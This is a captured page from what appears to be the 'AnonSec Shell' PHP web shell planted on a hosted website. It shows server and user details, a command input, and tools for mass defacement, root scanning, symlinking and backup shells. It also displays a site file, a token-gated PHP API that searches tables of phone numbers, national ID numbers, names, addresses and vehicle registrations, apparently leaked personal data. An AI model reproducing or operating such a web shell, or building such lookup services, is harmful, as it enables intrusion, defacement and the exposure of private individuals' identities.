AnonSec Shell
Server IP : 198.54.125.146  /  Your IP : 18.220.249.203   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business38.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : engixevu ( 716)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/engixevu/ilivetracker.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/engixevu/ilivetracker.com/index0.php
<?php
require_once './config.php';

$headers = (object) getallheaders();
if (isset($headers->Token)) {
    if ($headers->Token !== $api_key) {
        echo json_encode([
            "status" => false,
            "message" => "invalid token access denied"
        ]);
        return;
    }
} else {
    echo json_encode([
        "status" => false,
        "message" => "please provide the token"
    ]);
    return;
}

// Check if POST data is set
$postData = file_get_contents('php://input');
$postParams = json_decode($postData, true);

if (isset($postParams['search']) && isset($postParams['type'])) {
    // Parameters Initialization
    $search = $postParams['search'];
    $type = $postParams['type'];

    // Connectivity
    $conn = new mysqli($Servername, $Username, $Password, $DbName, $Port);

    // Check connection
    if ($conn->connect_error) {
        echo json_encode([
            "status" => false,
            "message" => "Database connection failed: " . $conn->connect_error
        ]);
        return;
    }

    try {
        // We Consider that Database is Connected - Above connection is secure and connected
        if ($type == "vehicle") {
            // Prepare and execute the SQL query
            $sql = "SELECT * FROM tbl_car_punjab WHERE reg_no = ?";
            $stmt = $conn->prepare($sql);
            $stmt->bind_param("s", $search);
            $stmt->execute();
            $result = $stmt->get_result();
            if ($result->num_rows > 0) {
                $row = $result->fetch_all(MYSQLI_ASSOC);
                echo json_encode($row);
            } else {
                echo json_encode(["error" => "No records found for the given ID - vehicle"]);
            }
            $result->close();
            $stmt->close();
        } elseif ($type == "mobile") {
            // Prepare and execute the SQL query with UNION
            $sql = "SELECT DISTINCT nbr, nam, cni, adr FROM (
             SELECT * FROM tbl_j01 WHERE nbr = ? OR cni = ?
             UNION
             SELECT * FROM tbl_t01 WHERE nbr = ? OR cni = ?
             UNION
             SELECT * FROM tbl_u01 WHERE nbr = ? OR cni = ?
             UNION
             SELECT * FROM tbl_w01 WHERE nbr = ? OR cni = ?
             UNION
             SELECT * FROM tbl_z01 WHERE nbr = ? OR cni = ?
         ) AS combinedResults";
            $stmt = $conn->prepare($sql);
            $stmt->bind_param("ssssssssss", $search, $search, $search, $search, $search, $search, $search, $search, $search, $search);
            $stmt->execute();
            $result = $stmt->get_result();

            if ($result->num_rows > 0) {
                $row = $result->fetch_all(MYSQLI_ASSOC);
                echo json_encode($row);
            } else {
                echo json_encode(["error" => "No records found for the given ID - Mobile"]);
            }
            $result->close();
            $stmt->close();
        } elseif ($type == "ptcl") {
            $sql = "SELECT * FROM tbl_ptcl WHERE nbr = ?";
            $stmt = $conn->prepare($sql);
            $stmt->bind_param("s", $search);
            $stmt->execute();
            $result = $stmt->get_result();
            if ($result->num_rows > 0) {
                $rows = $result->fetch_all(MYSQLI_ASSOC);
                echo json_encode($rows);
            } else {
                echo json_encode(["error" => "No records found for the given ID - PTCL"]);
            }
            $result->close();
            $stmt->close();
        } else {
            echo json_encode([
                "status" => false,
                "message" => "Invalid type provided"
            ]);
        }
    } catch (Exception $e) {
        echo json_encode([
            "status" => false,
            "message" => 'Message: ' . $e->getMessage()
        ]);
    }

    // Close the connection when done
    $conn->close();
    return;
} else {
    echo json_encode([
        "status" => false,
        "message" => "Please provide search and type parameters"
    ]);
}

Anon7 - 2022
AnonSec Team